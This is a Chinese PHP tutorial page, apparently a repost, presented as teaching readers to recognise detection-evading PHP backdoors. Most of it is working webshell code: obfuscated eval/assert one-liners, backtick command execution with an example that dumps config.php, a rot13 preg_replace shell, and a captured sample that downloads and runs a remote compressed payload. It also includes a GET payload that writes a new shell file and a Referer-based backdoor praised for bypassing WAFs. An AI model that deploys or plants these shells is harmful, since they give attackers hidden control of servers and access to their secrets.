教你識別簡單的免查殺PHP後門,免查殺php後門_PHP教程

來源:互聯網
上載者:User

教你識別簡單的免查殺PHP後門,免查殺php後門


一個最常見的一句話後門可能寫作這樣

<?php @eval($_POST['cmd']);?>

或這樣

<?php @assert($_POST['cmd']);?>

tudouya 同學在FREEBUF上給出[一種構造技巧]利用

複製代碼 代碼如下:
<?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _ $__.=("."^"~"); // _P $__.=("/"^"`"); // _PO $__.=("|"^"/"); // _POS $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>

構造產生,當然,嫌太直觀可以寫作這樣

複製代碼 代碼如下:
<?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然後再填充些普通代碼進行偽裝,一個簡單的”免殺”shell樣本就出現了

我們再來看看號稱史上最簡單免查殺php後門

直接上代碼:

<?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精簡 /******************************************************* * 原理:PHP中``符號包含會當作系統命令執行 * 樣本:http://host/?c=type%20config.php>config.txt *    然後就可以下載config.txt查看內容了! *    可以試試更變態的命令,不要幹壞事哦! *******************************************************/

其實現原理就是PHP會直接將 ` 符號(注意:不是單引號)包含的內容解析為系統命令執行!這樣就可以自由變態地擴充了!

再來看同樣很簡單的一段代碼

<?php preg_replace("/[errorpage]/e",@str_rot13('@nffreg($_CBFG[cntr]);'),"saft"); ?> 

密碼page

近期捕獲一個基於PHP實現的webshell樣本,其巧妙的代碼動態產生方式,猥瑣的自身頁面偽裝手法,讓我們在分析這個樣本的過程中感受到相當多的樂趣。接下來就讓我們一同共賞這個奇葩的Webshell吧。

Webshell代碼如下:

<?phperror_reporting(0);session_start();header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649);@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);?>

關鍵看下面這句代碼,

複製代碼 代碼如下:
sprintf('%s?%s',pack("H*",'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())

這裡執行之後其實是一張圖片,解密出來的圖片地址如下:

http://7shell.googlecode.com/svn/make.jpg?53280b00f1e85
然後調用file_get_contents函數讀取圖片為字串,然後substr取3649位元組之後的內容,再調用gzuncompress解壓,得到真正的代碼。最後調用preg_replace的修飾符e來執行惡意代碼的。這裡執行以下語句來還原出惡意樣本代碼,

複製代碼 代碼如下:
<?php
echo gzuncompress(substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′),uniqid())),3649));
?>

無特徵隱藏PHP一句話:

   <?php session_start(); $_POST [ 'code' ] && $_SESSION [ 'theCode' ] = trim( $_POST [ 'code' ]); $_SESSION [ 'theCode' ]&&preg_replace( '\'a\'eis' , 'e' . 'v' . 'a' . 'l' . '(base64_decode($_SESSION[\'theCode\']))' , 'a' ); ?> 

將$_POST['code']的內容賦值給$_SESSION['theCode'],然後執行$_SESSION['theCode'],亮點是沒有特徵碼。用掃描工具來檢查代碼的話,是不會警示的,達到目的了。
超級隱形PHP後門:

<?php $_GET [a]( $_GET [b]);?>


僅用GET函數就構成了木馬;
利用方法:
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29};

執行後目前的目錄產生c.php一句話木馬,當傳參a為eval時會報錯木馬產生失敗,為assert時同樣報錯,但會產生木馬,真可謂不可小視,簡簡單單的一句話,被延伸到這般應用。
層級請求,編碼運行PHP後門:
此方法用兩個檔案實現,檔案1

 <?php //1.php header( 'Content-type:text/html;charset=utf-8' ); parse_str ( $_SERVER [ 'HTTP_REFERER' ], $a ); if (reset( $a ) == '10' && count ( $a ) == 9) { eval ( base64_decode ( str_replace ( " " , "+" , implode( array_slice ( $a , 6))))); } ?>

檔案2

 <?php //2.php header( 'Content-type:text/html;charset=utf-8' ); //要執行的代碼 $code = << $url , CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_REFERER => $referer); curl_setopt_array( $ch , $options ); echocurl_exec( $ch ); ?>

通過HTTP請求中的HTTP_REFERER來運行經過base64編碼的代碼,來達到後門的效果,一般waf對referer這些檢測要松一點,或者沒有檢測。用這個思路bypass waf不錯。

我們以一個學習的心態來對待這些PHP後門程式,很多PHP後門代碼讓我們看到程式員們是多麼的用心良苦。

http://www.bkjia.com/PHPjc/1054514.htmlwww.bkjia.comtruehttp://www.bkjia.com/PHPjc/1054514.htmlTechArticle教你識別簡單的免查殺PHP後門,免查殺php後門 一個最常見的一句話後門可能寫作這樣 php @eval($_POST['cmd']); 或這樣 php @assert($_POST['cmd']); tud...

  • 聯繫我們

    該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

    如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.